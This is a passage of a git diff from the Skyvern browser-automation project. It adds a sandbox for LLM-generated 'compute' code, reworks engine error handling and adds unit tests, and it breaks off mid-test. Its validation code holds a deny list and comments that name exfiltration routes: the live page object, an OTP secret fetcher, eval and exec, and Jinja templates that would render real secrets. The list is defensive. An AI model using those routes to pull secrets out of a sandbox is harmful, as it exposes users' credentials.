+ LOG.exception("Failed to generate compute task")
+ task_v2 = await mark_task_v2_as_failed(
+ task_v2_id=task_v2_id,
+ workflow_run_id=workflow_run_id,
+ failure_reason="Failed to generate the compute task.",
+ )
+ break
else:
LOG.info("Unsupported task type", task_type=task_type)
task_v2 = await mark_task_v2_as_failed(
@@ -1761,6 +1788,156 @@ async def _generate_extraction_task(
)
+def _strip_code_fences(text: str) -> str:
+ stripped = text.strip()
+ if not stripped.startswith("```"):
+ return stripped
+ lines = stripped.splitlines()[1:]
+ if lines and lines[-1].strip().startswith("```"):
+ lines = lines[:-1]
+ return "\n".join(lines)
+
+
+class ComputeTaskError(Exception):
+ """Raised when a compute task cannot be generated (e.g. no gathered data to compute over)."""
+
+
+# Names the compute sandbox exposes (or builtins it must not reach) that data-only synthesis must
+# never touch: the live browser page (SSRF/exfiltration), the OTP secret fetcher, async primitives,
+# the regex engine (ReDoS), and dynamic-exec builtins. is_safe_code does not block these as bare
+# names, so compute validates against this list separately.
+_COMPUTE_FORBIDDEN_NAMES = frozenset({"page", "otp", "asyncio", "sleep", "re", "eval", "exec", "compile"})
+# Attributes that defeat the no-dunder guarantee: str.format/format_map interpret dunders inside the
+# format string at runtime (e.g. "{x.__class__}".format_map(...)), which is_safe_code cannot see.
+_COMPUTE_FORBIDDEN_ATTRS = frozenset({"format", "format_map"})
+
+
+def _build_compute_code(gathered: list[dict], snippet: str) -> str:
+ """Prepend the gathered data as a json.loads literal so it is in scope for the snippet."""
+ # Dedent first: generate_async_user_function re-indents the whole body, so a uniformly-indented
+ # snippet concatenated after the zero-indent injection line would break under the wrapper indent.
+ # Hex-escape brace/percent in the data literal: CodeBlock.execute Jinja-renders the code before
+ # exec, so {{ }} / {% %} in web data would be corrupted or resolve secrets. Python decodes the
+ # escapes back at runtime, but the rendered source contains no Jinja markers.
+ literal = repr(json.dumps(gathered, default=str))
+ literal = literal.replace("{", "\\x7b").replace("}", "\\x7d").replace("%", "\\x25")
+ body = textwrap.dedent(snippet).strip("\n")
+ return f"gathered_data = json.loads({literal})\n{body}\n"
+
+
+def _assert_compute_code_safe(code: str) -> None:
+ """Validate that compute code is data-only, bounded, and ends with the output contract."""
+ # is_safe_code blocks imports/dunders/blocked-attrs but not the browser/async/regex/exec names
+ # the sandbox exposes, not unbounded loops, not the .format dunder escape, and not a guarded or
+ # nested return that falls through to captured locals. Raise InsecureCodeDetected (caught by the
+ # regenerate loop) on violation.
+ # CodeBlock.execute Jinja-renders the whole code string before exec, and CODE blocks resolve
+ # real secrets (is_safe_block_for_secrets=True). The gathered-data literal is hex-escaped in
+ # _build_compute_code, so any opening Jinja tag here is from the LLM snippet body — e.g.
+ # "{{ <param>_real_password }}" would render a live secret into the output. Fail closed.
+ if "{{" in code or "{%" in code or "{#" in code:
+ raise InsecureCodeDetected("compute code may not contain Jinja markers ({{, {%, or {#)")
+ tree = ast.parse(code)
+ for node in ast.walk(tree):
+ if isinstance(node, (ast.Await, ast.AsyncFunctionDef, ast.AsyncFor, ast.AsyncWith)):
+ raise InsecureCodeDetected("compute code must be synchronous (no await/async)")
+ if isinstance(node, (ast.While,)):
+ raise InsecureCodeDetected("compute code may not use while loops")
+ if isinstance(node, ast.Name) and node.id in _COMPUTE_FORBIDDEN_NAMES:
+ raise InsecureCodeDetected(f"compute code may not reference '{node.id}'")
+ if isinstance(node, ast.Attribute) and node.attr in _COMPUTE_FORBIDDEN_ATTRS:
+ raise InsecureCodeDetected(f"compute code may not call '.{node.attr}'")
+ # The deliverable must be the unconditional final statement. A guarded (`if x: return {...}`) or
+ # nested return validates but falls through at runtime to the wrapper's captured-locals return,
+ # leaking gathered_data instead of producing the output.
+ last = tree.body[-1] if tree.body else None
+ if not (
+ isinstance(last, ast.Return)
+ and isinstance(last.value, ast.Dict)
+ and any(isinstance(k, ast.Constant) and k.value == "output" for k in last.value.keys)
+ ):
+ raise InsecureCodeDetected('compute code must end with `return {"output": ...}` as the final statement')
+
+
+async def _generate_compute_task(
+ task_v2: TaskV2,
+ workflow_id: str,
+ plan: str,
+ task_history: list[dict] | None = None,
+) -> tuple[CodeBlock, list[BLOCK_YAML_TYPES], list[PARAMETER_YAML_TYPES]]:
+ LOG.info("Generating compute task", plan=plan)
+ context = skyvern_context.ensure_context()
+ gathered = [record for record in (task_history or []) if record.get("extracted_data") is not None]
+ if not gathered:
+ raise ComputeTaskError("compute task generated without any gathered extracted_data in the task history")
+
+ max_attempts = 3
+ safe_code: str | None = None
+ last_error: Exception | None = None
+ prior_attempt: str | None = None
+ safety_error: str | None = None
+ for attempt in range(max_attempts):
+ compute_prompt = prompt_engine.load_prompt(
+ "task_v2_generate_compute_code",
+ user_goal=task_v2.prompt,
+ plan=plan,
+ gathered_data=json.dumps(gathered, indent=2, default=str),
+ local_datetime=datetime.now(context.tz_info).isoformat(),
+ prior_attempt=prior_attempt,
+ safety_error=safety_error,
+ )
+ compute_response = await app.LLM_API_HANDLER(
+ compute_prompt,
+ task_v2=task_v2,
+ prompt_name="task_v2_generate_compute_code",
+ organization_id=task_v2.organization_id,
+ system_prompt=task_v2.workflow_system_prompt,
+ )
+ snippet = _strip_code_fences(str(compute_response.get("code") or ""))
+ if not snippet.strip():
+ last_error = InsecureCodeDetected("compute code generation returned empty code")
+ prior_attempt = ""
+ safety_error = 'You returned no code. Return a non-empty Python snippet ending with return {"output": ...}.'
+ LOG.warning("Compute code generation returned empty code, retrying", attempt=attempt + 1)
+ continue
+ candidate = _build_compute_code(gathered, snippet)
+ try:
+ CodeBlock.is_safe_code(candidate)
+ _assert_compute_code_safe(candidate)
+ safe_code = candidate
+ break
+ except (InsecureCodeDetected, SyntaxError) as e:
+ LOG.warning(
+ "Generated compute code failed safety validation, retrying",
+ attempt=attempt + 1,
+ max_attempts=max_attempts,
+ error=str(e),
+ )
+ last_error = e
+ prior_attempt = snippet
+ safety_error = str(e)
+
+ if safe_code is None:
+ raise last_error or InsecureCodeDetected("Failed to synthesize safe compute code")
+
+ label = f"compute_{generate_random_string()}"
+ code_block_yaml = CodeBlockYAML(label=label, code=safe_code)
+ output_parameter = await app.WORKFLOW_SERVICE.create_output_parameter_for_block(
+ workflow_id=workflow_id,
+ block_yaml=code_block_yaml,
+ )
+ return (
+ CodeBlock(
+ label=label,
+ code=safe_code,
+ parameters=[],
+ output_parameter=output_parameter,
+ ),
+ [code_block_yaml],
+ [],
+ )
+
+
async def _generate_navigation_task(
workflow_id: str,
workflow_permanent_id: str,
@@ -1992,6 +2169,7 @@ async def mark_task_v2_as_timed_out(
workflow_run_id: str | None = None,
organization_id: str | None = None,
failure_reason: str | None = None,
+ fallback_workflow_run: WorkflowRun | None = None,
) -> TaskV2:
task_v2 = await _update_task_v2_status(
task_v2_id,
@@ -1999,7 +2177,19 @@ async def mark_task_v2_as_timed_out(
status=TaskV2Status.timed_out,
)
if workflow_run_id:
- await app.WORKFLOW_SERVICE.mark_workflow_run_as_timed_out(workflow_run_id, failure_reason)
+ if fallback_workflow_run is None:
+ # Current callers with a linked run already supply this row. Keep
+ # the lookup for future direct callers so a failed status CAS still
+ # has a safe fallback if the follow-up refresh also fails.
+ fallback_workflow_run = await app.WORKFLOW_SERVICE.get_workflow_run(
+ workflow_run_id,
+ organization_id=organization_id,
+ )
+ await app.WORKFLOW_SERVICE.mark_workflow_run_as_timed_out(
+ workflow_run_id,
+ failure_reason,
+ fallback_workflow_run=fallback_workflow_run,
+ )
# Add task timed out tag to trace
otel_trace.get_current_span().set_attribute("task.completion_status", "timed_out")
@@ -2031,7 +2221,7 @@ def _get_extracted_data_from_block_result(
Args:
block_result: The result from block execution
- task_type: Type of task ("extract", "navigate", or "loop")
+ task_type: Type of task ("extract", "navigate", "loop", or "compute")
task_v2_id: Optional ID for logging
workflow_run_id: Optional ID for logging
@@ -2087,6 +2277,13 @@ def _get_extracted_data_from_block_result(
inner_loop_output_overall.append(output_value["extracted_information"])
loop_output_overall.append(inner_loop_output_overall)
return loop_output_overall if loop_output_overall else None
+ elif task_type == "compute":
+ if (
+ isinstance(block_result.output_parameter_value, dict)
+ and "output" in block_result.output_parameter_value
+ and block_result.output_parameter_value["output"] is not None
+ ):
+ return block_result.output_parameter_value["output"]
return None
diff --git a/skyvern/webeye/utils/dom.py b/skyvern/webeye/utils/dom.py
index 4b64657ea..8c11cf136 100644
--- a/skyvern/webeye/utils/dom.py
+++ b/skyvern/webeye/utils/dom.py
@@ -65,6 +65,22 @@ def is_element_detached_error(exc: BaseException) -> bool:
return "not attached to the dom" in message or "frame was detached" in message
+def is_engine_error(exc: BaseException, engine_selection: BrowserEngineSelection | None = None) -> bool:
+ """Whether ``exc`` is a driver-family error from THIS run's engine. Routes through the per-run
+ selection when one is pinned so a non-Playwright engine's natives are recognised; falls back to the
+ stock Playwright identity when no engine is pinned (callers built outside the per-run engine seam),
+ preserving exact stock behavior. A foreign engine's native error is rejected either way."""
+ return engine_selection.is_engine_error(exc) if engine_selection is not None else isinstance(exc, PlaywrightError)
+
+
+def is_engine_timeout_error(exc: BaseException, engine_selection: BrowserEngineSelection | None = None) -> bool:
+ """Whether ``exc`` is THIS run's engine timeout. Same selection-vs-stock routing as
+ ``is_engine_error``; the stock fallback keeps the historical ``TimeoutError`` identity."""
+ return (
+ engine_selection.is_engine_timeout_error(exc) if engine_selection is not None else isinstance(exc, TimeoutError)
+ )
+
+
def is_post_dispatch_click_timeout(
exc: BaseException,
engine_selection: BrowserEngineSelection | None = None,
@@ -76,15 +92,18 @@ def is_post_dispatch_click_timeout(
trigger downloads, dialogs, or pseudo-navigations. Retrying via a fallback
chain would duplicate the already-applied side effect.
"""
- is_timeout = (
- engine_selection.is_engine_timeout_error(exc) if engine_selection is not None else isinstance(exc, TimeoutError)
- )
- if not is_timeout:
+ if not is_engine_timeout_error(exc, engine_selection):
return False
return "scheduled navigation" in str(exc).lower()
-async def resolve_locator(scrape_page: ScrapedPage, page: Page, frame: str, css: str) -> tuple[Locator, Page | Frame]:
+async def resolve_locator(
+ scrape_page: ScrapedPage,
+ page: Page,
+ frame: str,
+ css: str,
+ engine_selection: BrowserEngineSelection | None = None,
+) -> tuple[Locator, Page | Frame]:
iframe_path: list[str] = []
while frame != "main.frame":
@@ -112,8 +131,8 @@ async def resolve_locator(scrape_page: ScrapedPage, page: Page, frame: str, css:
try:
content_frame = await frame_handler.content_frame()
- except PlaywrightError as exc:
- if not is_element_detached_error(exc):
+ except Exception as exc:
+ if not is_engine_error(exc, engine_selection) or not is_element_detached_error(exc):
raise
# The iframe node detached between query_selector and content_frame (page
# mutation). Re-query once for a fresh handle; if it is gone or detaches
@@ -123,8 +142,8 @@ async def resolve_locator(scrape_page: ScrapedPage, page: Page, frame: str, css:
raise MissingElement(element_id=child_frame) from exc
try:
content_frame = await frame_handler.content_frame()
- except PlaywrightError as retry_exc:
- if not is_element_detached_error(retry_exc):
+ except Exception as retry_exc:
+ if not is_engine_error(retry_exc, engine_selection) or not is_element_detached_error(retry_exc):
raise
raise MissingElement(element_id=child_frame) from retry_exc
if content_frame is None:
@@ -188,13 +207,23 @@ class SkyvernElement:
)
raise MultipleElementsFound(num=num_elements, selector=css_selector, element_id=element_id)
- return cls(locator, frame, element_dict)
+ return cls(locator, frame, element_dict, engine_selection=incre_page.engine_selection)
- def __init__(self, locator: Locator, frame: Page | Frame, static_element: dict, hash_value: str = "") -> None:
+ def __init__(
+ self,
+ locator: Locator,
+ frame: Page | Frame,
+ static_element: dict,
+ hash_value: str = "",
+ engine_selection: BrowserEngineSelection | None = None,
+ ) -> None:
self.__static_element = static_element
self.__frame = frame
self.locator = locator
self.hash_value = hash_value
+ # THIS run's pinned engine, so the element's error catches classify driver-native errors against
+ # the selected engine; None (default) preserves the stock Playwright identity.
+ self._engine_selection = engine_selection
self._id_cache = static_element.get("id", "")
self._tag_name = static_element.get("tagName", "")
self._selectable = static_element.get("isSelectable", False)
@@ -1041,12 +1070,12 @@ class SkyvernElement:
# here, not a new error to surface.
try:
return await locator.count()
- except PlaywrightError as exc:
- if is_element_detached_error(exc):
+ except Exception as exc:
+ if is_engine_error(exc, self._engine_selection) and is_element_detached_error(exc):
return 0
raise
- async def _classify_typing_timeout(self, exc: TimeoutError) -> None:
+ async def _classify_typing_timeout(self, exc: BaseException) -> None:
"""Raise MissingElement when the typing target vanished mid-action; otherwise
return so the caller re-raises the original timeout (a readiness problem)."""
if await self._safe_match_count(self.get_locator()) == 0:
@@ -1056,7 +1085,9 @@ class SkyvernElement:
await self.refresh_locator_if_stale()
try:
await handler_utils.input_sequentially(self.get_locator(), text, timeout=default_timeout)
- except TimeoutError as exc:
+ except Exception as exc:
+ if not is_engine_timeout_error(exc, self._engine_selection):
+ raise
await self._classify_typing_timeout(exc)
raise
@@ -1068,7 +1099,9 @@ class SkyvernElement:
locator = self.get_locator()
try:
await EventStrategyFactory.type_text(locator.page, locator, text)
- except TimeoutError as exc:
+ except Exception as exc:
+ if not is_engine_timeout_error(exc, self._engine_selection):
+ raise
await self._classify_typing_timeout(exc)
raise
@@ -1081,7 +1114,9 @@ class SkyvernElement:
async def input_fill(self, text: str, timeout: float = settings.BROWSER_ACTION_TIMEOUT_MS) -> None:
try:
await self.get_locator().fill(text, timeout=timeout)
- except PlaywrightError as exc:
+ except Exception as exc:
+ if not is_engine_error(exc, self._engine_selection):
+ raise
if is_incompatible_text_input_error(exc):
raise InvalidElementForTextInput(element_id=self.get_id(), tag_name=self.get_tag_name())
raise
@@ -1090,7 +1125,9 @@ class SkyvernElement:
locator = self.get_locator()
try:
await EventStrategyFactory.clear_field(locator.page, locator, char_count=0)
- except PlaywrightError as exc:
+ except Exception as exc:
+ if not is_engine_error(exc, self._engine_selection):
+ raise
if is_incompatible_text_input_error(exc):
raise InvalidElementForTextInput(element_id=self.get_id(), tag_name=self.get_tag_name())
raise
@@ -1332,7 +1369,9 @@ class SkyvernElement:
try:
element_handler = await self.get_element_handler(timeout=timeout)
await element_handler.scroll_into_view_if_needed(timeout=timeout)
- except TimeoutError:
+ except Exception as exc:
+ if not is_engine_timeout_error(exc, self._engine_selection):
+ raise
LOG.warning(
"Scroll into view timed out",
element_id=self.get_id(),
@@ -1452,9 +1491,20 @@ class DomUtil:
Some functions like wait_for_xxx should be supposed to define here.
"""
- def __init__(self, scraped_page: ScrapedPage, page: Page) -> None:
+ def __init__(
+ self,
+ scraped_page: ScrapedPage,
+ page: Page,
+ engine_selection: BrowserEngineSelection | None = None,
+ ) -> None:
self.scraped_page = scraped_page
self.page = page
+ # Inherit the run's pinned engine from the scraped page's browser state when a caller does not
+ # pass one explicitly, so element error catches classify against THIS run's engine without every
+ # construction site threading it. A non-ScrapedPage (e.g. a test double) leaves it None → stock.
+ if engine_selection is None and isinstance(scraped_page, ScrapedPage):
+ engine_selection = scraped_page._browser_state.engine_selection
+ self.engine_selection = engine_selection
async def check_id_in_dom(self, element_id: str) -> bool:
css_selector = self.scraped_page.id_to_css_dict.get(element_id, "")
@@ -1475,7 +1525,9 @@ class DomUtil:
if not css:
raise MissingElementInCSSMap(element_id)
- locator, frame_content = await resolve_locator(self.scraped_page, self.page, frame, css)
+ locator, frame_content = await resolve_locator(
+ self.scraped_page, self.page, frame, css, engine_selection=self.engine_selection
+ )
num_elements = await locator.count()
if num_elements < 1:
@@ -1516,7 +1568,7 @@ class DomUtil:
hash_value = self.scraped_page.id_to_element_hash.get(element_id, "")
- return SkyvernElement(locator, frame_content, element, hash_value)
+ return SkyvernElement(locator, frame_content, element, hash_value, engine_selection=self.engine_selection)
async def safe_get_skyvern_element_by_id(self, element_id: str) -> SkyvernElement | None:
try:
diff --git a/tests/unit/forge/sdk/routes/streaming/test_verify_browser_session.py b/tests/unit/forge/sdk/routes/streaming/test_verify_browser_session.py
index 41c41ce73..91f971ab7 100644
--- a/tests/unit/forge/sdk/routes/streaming/test_verify_browser_session.py
+++ b/tests/unit/forge/sdk/routes/streaming/test_verify_browser_session.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-from datetime import datetime, timezone
+from datetime import datetime, timedelta, timezone
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
@@ -12,9 +12,17 @@ from skyvern.forge.sdk.schemas.persistent_browser_sessions import (
PersistentBrowserSession,
PersistentBrowserSessionStatus,
)
+from skyvern.schemas.browser_session_timeouts import MAX_LIFETIME_SECONDS
-def _make_session(*, browser_address: str | None, status: PersistentBrowserSessionStatus) -> PersistentBrowserSession:
+def _make_session(
+ *,
+ browser_address: str | None,
+ status: PersistentBrowserSessionStatus,
+ started_at: datetime | None = None,
+ last_activity_at: datetime | None = None,
+ timeout_minutes: int | None = None,
+) -> PersistentBrowserSession:
now = datetime.now(timezone.utc)
return PersistentBrowserSession(
persistent_browser_session_id="bs_test",
@@ -23,6 +31,9 @@ def _make_session(*, browser_address: str | None, status: PersistentBrowserSessi
browser_address=browser_address,
created_at=now,
modified_at=now,
+ started_at=started_at,
+ last_activity_at=last_activity_at,
+ timeout_minutes=timeout_minutes,
)
@@ -157,3 +168,41 @@ class TestVerifyBrowserSessionLocalShortCircuit:
assert result is not None
assert result.browser_address == "ws://remote:9222"
+
+ @pytest.mark.asyncio
+ async def test_past_base_timeout_with_recent_activity_remains_verified(self) -> None:
+ now = datetime.now(timezone.utc).replace(tzinfo=None)
+ session = _make_session(
+ browser_address="ws://remote:9222",
+ status=PersistentBrowserSessionStatus.running,
+ started_at=now - timedelta(minutes=10),
+ last_activity_at=now - timedelta(seconds=5),
+ timeout_minutes=5,
+ )
+ manager = MagicMock()
+ manager.get_session = AsyncMock(return_value=session)
+
+ with patch("skyvern.forge.sdk.routes.streaming.verify.app") as app_mock:
+ app_mock.PERSISTENT_SESSIONS_MANAGER = manager
+ result = await verify_browser_session("bs_test", "o_test")
+
+ assert result is not None
+
+ @pytest.mark.asyncio
+ async def test_recent_activity_cannot_extend_past_hard_cap(self) -> None:
+ now = datetime.now(timezone.utc).replace(tzinfo=None)
+ session = _make_session(
+ browser_address="ws://remote:9222",
+ status=PersistentBrowserSessionStatus.running,
+ started_at=now - timedelta(seconds=MAX_LIFETIME_SECONDS + 60),
+ last_activity_at=now,
+ timeout_minutes=60,
+ )
+ manager = MagicMock()
+ manager.get_session = AsyncMock(return_value=session)
+
+ with patch("skyvern.forge.sdk.routes.streaming.verify.app") as app_mock:
+ app_mock.PERSISTENT_SESSIONS_MANAGER = manager
+ result = await verify_browser_session("bs_test", "o_test")
+
+ assert result is None
diff --git a/tests/unit/test_browser_session_timeouts.py b/tests/unit/test_browser_session_timeouts.py
new file mode 100644
index 000000000..193a1d240
--- /dev/null
+++ b/tests/unit/test_browser_session_timeouts.py
@@ -0,0 +1,120 @@
+from skyvern.schemas.browser_session_timeouts import (
+ MAX_LIFETIME_SECONDS,
+ seconds_until_expiry,
+ session_is_active,
+)
+
+_BASE = 60 * 60 # 1h base timeout
+_IDLE = 60 * 60 # idle out 1h after last activity
+_CAP = MAX_LIFETIME_SECONDS
+
+
+def _active(**overrides: float | None) -> bool:
+ kwargs: dict[str, float | None] = {
+ "seconds_since_start": 0.0,
+ "base_timeout_seconds": _BASE,
+ "seconds_since_last_activity": None,
+ "idle_timeout_seconds": _IDLE,
+ "max_lifetime_seconds": _CAP,
+ }
+ kwargs.update(overrides)
+ return session_is_active(**kwargs) # type: ignore[arg-type]
+
+
+def test_within_base_timeout_is_active_without_activity() -> None:
+ assert _active(seconds_since_start=_BASE - 1, seconds_since_last_activity=None) is True
+
+
+def test_past_base_timeout_without_activity_is_inactive() -> None:
+ # No activity ever recorded -> pre-activity behavior: dies at base timeout.
+ assert _active(seconds_since_start=_BASE + 1, seconds_since_last_activity=None) is False
+
+
+def test_base_timeout_boundary_is_inactive_without_activity() -> None:
+ assert _active(seconds_since_start=_BASE, seconds_since_last_activity=None) is False
+
+
+def test_past_base_timeout_with_recent_activity_stays_active() -> None:
+ assert _active(seconds_since_start=_BASE * 5, seconds_since_last_activity=_IDLE - 1) is True
+
+
+def test_past_base_timeout_with_stale_activity_is_inactive() -> None:
+ assert _active(seconds_since_start=_BASE * 5, seconds_since_last_activity=_IDLE + 1) is False
+
+
+def test_idle_boundary_is_inactive() -> None:
+ assert _active(seconds_since_start=_BASE * 5, seconds_since_last_activity=_IDLE) is False
+
+
+def test_hard_cap_overrides_recent_activity() -> None:
+ # Actively driven, but past the 24h lifetime cap -> reaped regardless.
+ assert _active(seconds_since_start=_CAP, seconds_since_last_activity=0.0) is False
+
+
+def test_just_under_hard_cap_with_activity_stays_active() -> None:
+ assert _active(seconds_since_start=_CAP - 1, seconds_since_last_activity=0.0) is True
+
+
+def test_future_activity_timestamp_counts_as_recent() -> None:
+ # Clock skew can make last_activity slightly ahead of now -> negative elapsed.
+ # Treated as very recent (active), never as stale.
+ assert _active(seconds_since_start=_BASE * 5, seconds_since_last_activity=-5.0) is True
+
+
+def test_default_cap_is_max_timeout() -> None:
+ # Omitting max_lifetime_seconds falls back to the 24h MAX_TIMEOUT ceiling.
+ assert (
+ session_is_active(
+ seconds_since_start=_CAP,
+ base_timeout_seconds=_BASE,
+ seconds_since_last_activity=0.0,
+ idle_timeout_seconds=_IDLE,
+ )
+ is False
+ )
+
+
+def test_seconds_until_expiry_uses_the_later_base_or_activity_deadline() -> None:
+ assert (
+ seconds_until_expiry(
+ seconds_since_start=_BASE + 120,
+ base_timeout_seconds=_BASE,
+ seconds_since_last_activity=120,
+ idle_timeout_seconds=_IDLE,
+ )
+ == _IDLE - 120
+ )
+
+
+def test_seconds_until_expiry_is_capped_by_max_lifetime() -> None:
+ assert (
+ seconds_until_expiry(
+ seconds_since_start=_CAP - 30,
+ base_timeout_seconds=_BASE,
+ seconds_since_last_activity=0,
+ idle_timeout_seconds=_IDLE,
+ )
+ == 30
+ )
+
+
+def test_session_is_active_matches_positive_remaining_time() -> None:
+ cases = (
+ (_BASE - 1, None),
+ (_BASE, None),
+ (_BASE * 5, _IDLE - 1),
+ (_BASE * 5, _IDLE),
+ (_CAP, 0),
+ )
+
+ for seconds_since_start, seconds_since_last_activity in cases:
+ remaining = seconds_until_expiry(
+ seconds_since_start=seconds_since_start,
+ base_timeout_seconds=_BASE,
+ seconds_since_last_activity=seconds_since_last_activity,
+ idle_timeout_seconds=_IDLE,
+ )
+ assert _active(
+ seconds_since_start=seconds_since_start,
+ seconds_since_last_activity=seconds_since_last_activity,
+ ) is (remaining > 0)
diff --git a/tests/unit/test_copilot_agent_blocker_renderer.py b/tests/unit/test_copilot_agent_blocker_renderer.py
index d774b35ac..23df3ec3e 100644
--- a/tests/unit/test_copilot_agent_blocker_renderer.py
+++ b/tests/unit/test_copilot_agent_blocker_renderer.py
@@ -954,7 +954,7 @@ def test_delivered_unverified_halt_without_workflow_renders_observed_output() ->
assert observed_outputs["result"] == ctx.delivered_unverified_observed_outputs["result"]
-def test_repair_ceiling_give_up_halt_names_demonstrated_missing_steps() -> None:
+def test_give_up_halt_names_demonstrated_missing_steps() -> None:
ctx = _ctx()
ctx.last_workflow = SimpleNamespace(workflow_definition=SimpleNamespace(blocks=[SimpleNamespace()]))
ctx.last_workflow_yaml = "workflow_definition:\n blocks: []\n"
@@ -974,7 +974,7 @@ def test_repair_ceiling_give_up_halt_names_demonstrated_missing_steps() -> None:
result = _build_turn_halt_exit_result(
ctx,
global_llm_context=None,
- halt=TurnHalt(kind=TurnHaltKind.REPAIR_CEILING_REACHED),
+ halt=TurnHalt(kind=TurnHaltKind.LOOP_DETECTED),
)
assert "#search-submit" in result.user_response
diff --git a/tests/unit/test_copilot_agent_helpers.py b/tests/unit/test_copilot_agent_helpers.py
index 3a5a5d177..0c366579b 100644
--- a/tests/unit/test_copilot_agent_helpers.py
+++ b/tests/unit/test_copilot_agent_helpers.py
@@ -110,7 +110,7 @@ from skyvern.forge.sdk.copilot.turn_halt import (
TurnHalt,
TurnHaltKind,
raise_if_turn_halt,
- stash_repair_ceiling_turn_halt,
+ stash_turn_halt_from_blocker_signal,
)
from skyvern.forge.sdk.copilot.turn_intent import (
RequiredContextKey,
@@ -1374,16 +1374,16 @@ class TestVerifiedGoalSatisfiedStop:
verdicts=[CriterionVerdict(criterion_id="c0", state="satisfied", reason_code="evidence_confirms")],
)
signal = CopilotToolBlockerSignal(
- blocker_kind="tool_error",
- agent_steering_text="repair ceiling",
- user_facing_reason="I could not get the run to pass after several repair attempts.",
+ blocker_kind="loop_detected",
+ agent_steering_text="loop detected",
+ user_facing_reason="I couldn't keep going on this turn.",
recovery_hint="report_blocker_to_user",
preserves_workflow_draft=True,
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_and_run_blocks",
)
ctx.blocker_signal = signal
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
raise_if_turn_halt(ctx, verified=True)
@@ -1453,16 +1453,16 @@ class TestVerifiedGoalSatisfiedStop:
verdicts=[CriterionVerdict(criterion_id="c0", state="satisfied", reason_code="evidence_confirms")],
)
signal = CopilotToolBlockerSignal(
- blocker_kind="tool_error",
- agent_steering_text="repair ceiling",
- user_facing_reason="I could not get the run to pass after several repair attempts.",
+ blocker_kind="loop_detected",
+ agent_steering_text="loop detected",
+ user_facing_reason="I couldn't keep going on this turn.",
recovery_hint="report_blocker_to_user",
preserves_workflow_draft=True,
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_and_run_blocks",
)
ctx.blocker_signal = signal
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
result = await _resolve_wrapped_exception_exit_result(
ctx,
@@ -1531,16 +1531,16 @@ class TestVerifiedGoalSatisfiedStop:
# outcome_fully_verified is False and the involuntary halt must not be suppressed.
ctx.completion_verification_result = None
signal = CopilotToolBlockerSignal(
- blocker_kind="tool_error",
- agent_steering_text="repair ceiling",
- user_facing_reason="I could not get the run to pass after several repair attempts.",
+ blocker_kind="loop_detected",
+ agent_steering_text="loop detected",
+ user_facing_reason="I couldn't keep going on this turn.",
recovery_hint="report_blocker_to_user",
preserves_workflow_draft=True,
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_and_run_blocks",
)
ctx.blocker_signal = signal
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
result = await _resolve_wrapped_exception_exit_result(
ctx,
diff --git a/tests/unit/test_copilot_block_scoped_edits.py b/tests/unit/test_copilot_block_scoped_edits.py
new file mode 100644
index 000000000..4c7ad7c2b
--- /dev/null
+++ b/tests/unit/test_copilot_block_scoped_edits.py
@@ -0,0 +1,136 @@
+"""Block-scoped edits: the model changes one block instead of retyping the workflow.
+
+OSS-synced: RFC-2606 example.* only.
+"""
+
+from __future__ import annotations
+
+from types import SimpleNamespace
+
+import pytest
+
+from skyvern.forge.sdk.copilot.workflow_yaml import (
+ BlockEditError,
+ apply_block_edit,
+ delete_block_from_workflow,
+)
+
+_WORKFLOW = """title: Lookup
+workflow_definition:
+ blocks:
+ - block_type: code
+ label: open_portal
+ code: |
+ await page.goto("https://example.test/")
+ next_block_label: read_total
+ - block_type: code
+ label: read_total
+ code: |
+ total = await page.inner_text("#total")
+ return {"total": total}
+"""
+
+
+class TestAnchoredCodeEdit:
+ def test_edits_only_the_named_block(self) -> None:
+ out = apply_block_edit(_WORKFLOW, "read_total", expected_code='"#total"', replacement_code='"#grand-total"')
+ assert "#grand-total" in out
+ # the untouched block survives byte-for-byte
+ assert 'await page.goto("https://example.test/")' in out
+
+ def test_a_stale_anchor_fails_instead_of_overwriting(self) -> None:
+ """The property the whole design turns on: an edit written against a copy of the block that
+ has since changed must be refused, not applied over whatever is there now."""
+ with pytest.raises(BlockEditError) as exc:
+ apply_block_edit(_WORKFLOW, "read_total", expected_code='"#stale"', replacement_code='"#x"')
+ assert "changed since you read it" in str(exc.value)
+
+ def test_an_ambiguous_anchor_is_refused(self) -> None:
+ workflow = _WORKFLOW.replace(
+ 'total = await page.inner_text("#total")',
+ 'a = await page.inner_text("#c")\n b = await page.inner_text("#c")',
+ )
+ with pytest.raises(BlockEditError) as exc:
+ apply_block_edit(workflow, "read_total", expected_code='"#c"', replacement_code='"#d"')
+ assert "appears 2 times" in str(exc.value)
+
+ def test_a_half_specified_code_edit_is_refused(self) -> None:
+ with pytest.raises(BlockEditError):
+ apply_block_edit(_WORKFLOW, "read_total", expected_code="total")
+
+ def test_unknown_label_names_what_exists(self) -> None:
+ with pytest.raises(BlockEditError) as exc:
+ apply_block_edit(_WORKFLOW, "ghost", fields={"code": "x"})
+ assert "open_portal" in str(exc.value) and "read_total" in str(exc.value)
+
+
+class TestFieldEdit:
+ def test_sets_only_the_named_fields(self) -> None:
+ out = apply_block_edit(_WORKFLOW, "open_portal", fields={"continue_on_failure": True})
+ assert "continue_on_failure: true" in out
+ assert "read_total" in out
+
+
+class TestDelete:
+ def test_removes_the_block_and_unlinks_what_pointed_at_it(self) -> None:
+ out = delete_block_from_workflow(_WORKFLOW, "read_total")
+ assert "label: read_total" not in out
+ assert "label: open_portal" in out
+ assert "next_block_label: null" in out, "a block pointing at the deleted one must be unlinked"
+
+ def test_deleting_an_absent_block_is_an_error_not_a_no_op(self) -> None:
+ """Deletion is an operation. Silently succeeding would repeat the failure mode where a block
+ left out of a submission could not be told apart from one meant to be removed."""
+ with pytest.raises(BlockEditError):
+ delete_block_from_workflow(_WORKFLOW, "never_existed")
+
+ def test_a_deleted_block_stays_deleted_when_the_result_is_re_applied(self) -> None:
